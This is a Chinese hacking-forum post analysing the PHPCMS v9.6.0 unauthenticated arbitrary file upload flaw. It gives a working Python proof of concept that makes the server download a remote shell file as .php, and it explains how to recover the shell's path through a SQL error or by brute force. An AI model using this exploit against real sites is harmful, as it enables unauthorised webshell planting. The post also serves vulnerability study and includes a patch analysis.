黑帽联盟

 找回密码
 会员注册
查看: 2303|回复: 0
打印 上一主题 下一主题

[系统安全] PHPCMS v9.6.0 任意文件上传漏洞分析及如何利用详解

[复制链接]
yun 黑帽联盟官方人员 

920

主题

37

听众

1364

积分

超级版主

Rank: 8Rank: 8

  • TA的每日心情
    奋斗
    2019-10-18 11:20
  • 签到天数: 678 天

    [LV.9]以坛为家II

    0x00 漏洞概述漏洞简介
    前几天 phpcms v9.6 的任意文件上传的漏洞引起了安全圈热议,通过该漏洞攻击者可以在未授权的情况下任意文件上传,影响不容小觑。phpcms官方今天发布了9.6.1版本,对漏洞进行了补丁修复.

    漏洞影响
    任意文件上传

    0x01 漏洞复现
    本文从 PoC 的角度出发,逆向的还原漏洞过程,若有哪些错误的地方,还望大家多多指教。
    首先我们看简化的 PoC :
    1. import re
    2. import requests


    3. def poc(url):
    4.     u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    5.     data = {
    6.         'siteid': '1',
    7.         'modelid': '1',
    8.         'username': 'test',
    9.         'password': 'testxx',
    10.         'email': 'test@test.com',
    11.         'info[content]': '<img src=http://url/shell.txt?.php#.jpg>',
    12.         'dosubmit': '1',
    13.     }
    14.     rep = requests.post(u, data=data)

    15.     shell = ''
    16.     re_result = re.findall(r'<img src=(.*)>', rep.content)
    17.     if len(re_result):
    18.         shell = re_result[0]
    19.         print shell
    复制代码
    可以看到 PoC 是发起注册请求,对应的是phpcms/modules/member/index.php中的register函数,所以我们在那里下断点,接着使用 PoC 并开启动态调试,在获取一些信息之后,函数走到了如下位置:
    register_func.png

    通过 PoC 不难看出我们的 payload 在$_POST['info']里,而这里对$_POST['info']进行了处理,所以我们有必要跟进。
    在使用new_html_special_chars对<>进行编码之后,进入$member_input->get函数,该函数位于caches/caches_model/caches_data/member_input.class.php中,接下来函数走到如下位置:
    get_func.png

    由于我们的 payload 是info[content],所以调用的是editor函数,同样在这个文件中:
    editor_func.png

    接下来函数执行$this->attachment->download函数进行下载,我们继续跟进,在phpcms/libs/classes/attachment.class.php中:
    1. function download($field, $value,$watermark = '0',$ext = 'gif|jpg|jpeg|bmp|png', $absurl = '', $basehref = '')
    2. {
    3.     global $image_d;
    4.     $this->att_db = pc_base::load_model('attachment_model');
    5.     $upload_url = pc_base::load_config('system','upload_url');
    6.     $this->field = $field;
    7.     $dir = date('Y/md/');
    8.     $uploadpath = $upload_url.$dir;
    9.     $uploaddir = $this->upload_root.$dir;
    10.     $string = new_stripslashes($value);
    11.     if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i", $string, $matches)) return $value;
    12.     $remotefileurls = array();
    13.     foreach($matches[3] as $matche)
    14.     {
    15.         if(strpos($matche, '://') === false) continue;
    16.         dir_create($uploaddir);
    17.         $remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);
    18.     }
    19.     unset($matches, $string);
    20.     $remotefileurls = array_unique($remotefileurls);
    21.     $oldpath = $newpath = array();
    22.     foreach($remotefileurls as $k=>$file) {
    23.         if(strpos($file, '://') === false || strpos($file, $upload_url) !== false) continue;
    24.         $filename = fileext($file);
    25.         $file_name = basename($file);
    26.         $filename = $this->getname($filename);

    27.         $newfile = $uploaddir.$filename;
    28.         $upload_func = $this->upload_func;
    29.         if($upload_func($file, $newfile)) {
    30.             $oldpath[] = $k;
    31.             $GLOBALS['downloadfiles'][] = $newpath[] = $uploadpath.$filename;
    32.             @chmod($newfile, 0777);
    33.             $fileext = fileext($filename);
    34.             if($watermark){
    35.                 watermark($newfile, $newfile,$this->siteid);
    36.             }
    37.             $filepath = $dir.$filename;
    38.             $downloadedfile = array('filename'=>$filename, 'filepath'=>$filepath, 'filesize'=>filesize($newfile), 'fileext'=>$fileext);
    39.             $aid = $this->add($downloadedfile);
    40.             $this->downloadedfiles[$aid] = $filepath;
    41.         }
    42.     }
    43.     return str_replace($oldpath, $newpath, $value);
    44. }
    复制代码
    函数中先对$value中的引号进行了转义,然后使用正则匹配:
    1. $ext = 'gif|jpg|jpeg|bmp|png';
    2. ...
    3. $string = new_stripslashes($value);
    4. if(!preg_match_all("/(href|src)=([\"|']?)([^ \"'>]+\.($ext))\\2/i",$string, $matches)) return $value;
    复制代码
    这里正则要求输入满足src/href=url.(gif|jpg|jpeg|bmp|png),我们的 payload (<img src=http://url/shell.txt?.php#.jpg>)符合这一格式(这也就是为什么后面要加.jpg的原因)。

    接下来程序使用这行代码来去除 url 中的锚点:$remotefileurls[$matche] = $this->fillurl($matche, $absurl, $basehref);,处理过后$remotefileurls的内容如下:
    remotefileurls.png

    可以看到#.jpg被删除了,正因如此,下面的$filename = fileext($file);取的的后缀变成了php,这也就是 PoC 中为什么要加#的原因:把前面为了满足正则而构造的.jpg过滤掉,使程序获得我们真正想要的php文件后缀。
    我们继续执行:
    copy_func.png

    程序调用copy函数,对远程的文件进行了下载,此时我们从命令行中可以看到文件已经写入了:
    shell.png

    shell 已经写入,下面我们就来看看如何获取 shell 的路径,程序在下载之后回到了register函数中:
    status.png

    可以看到当$status > 0时会执行 SQL 语句进行 INSERT 操作,具体执行的语句如下:
    sql.png

    也就是向v9_member_detail的content和userid两列插入数据,我们看一下该表的结构:
    desc.png

    因为表中并没有content列,所以产生报错,从而将插入数据中的 shell 路径返回给了我们:
    error_path.png

    上面我们说过返回路径是在$status > 0时才可以,下面我们来看看什么时候$status <= 0,在phpcms/modules/member/classes/client.class.php中:
    status_code.png

    几个小于0的状态码都是因为用户名和邮箱,所以在 payload 中用户名和邮箱要尽量随机。
    另外在 phpsso 没有配置好的时候$status的值为空,也同样不能得到路径。
    在无法得到路径的情况下我们只能爆破了,爆破可以根据文件名生成的方法来爆破:
    getname.png
    仅仅是时间加上三位随机数,爆破起来还是相对容易些的。

    0x02 补丁分析
    phpcms 今天发布了9.6.1版本,针对该漏洞的具体补丁如下:
    patch.png
    在获取文件扩展名后再对扩展名进行检测


    具体的详解pdf文档下载: PHPCMSv9.6.0 任意文件上传漏洞.pdf (707.74 KB, 下载次数: 2, 售价: 5 黑币)

    如何利用相关文件下载: phpcms-v960漏洞分析利用.zip (3.9 KB, 下载次数: 1, 售价: 6 黑币)
    帖子永久地址: 

    黑帽联盟 - 论坛版权1、本主题所有言论和图片纯属会员个人意见,与本论坛立场无关
    2、本站所有主题由该帖子作者发表,该帖子作者与黑帽联盟享有帖子相关版权
    3、其他单位或个人使用、转载或引用本文时必须同时征得该帖子作者和黑帽联盟的同意
    4、帖子作者须承担一切因本文发表而直接或间接导致的民事或刑事法律责任
    5、本帖部分内容转载自其它媒体,但并不代表本站赞同其观点和对其真实性负责
    6、如本帖侵犯到任何版权问题,请立即告知本站,本站将及时予与删除并致以最深的歉意
    7、黑帽联盟管理员和版主有权不事先通知发贴者而删除本文

    您需要登录后才可以回帖 登录 | 会员注册

    发布主题 !fastreply! 收藏帖子 返回列表 搜索
    回顶部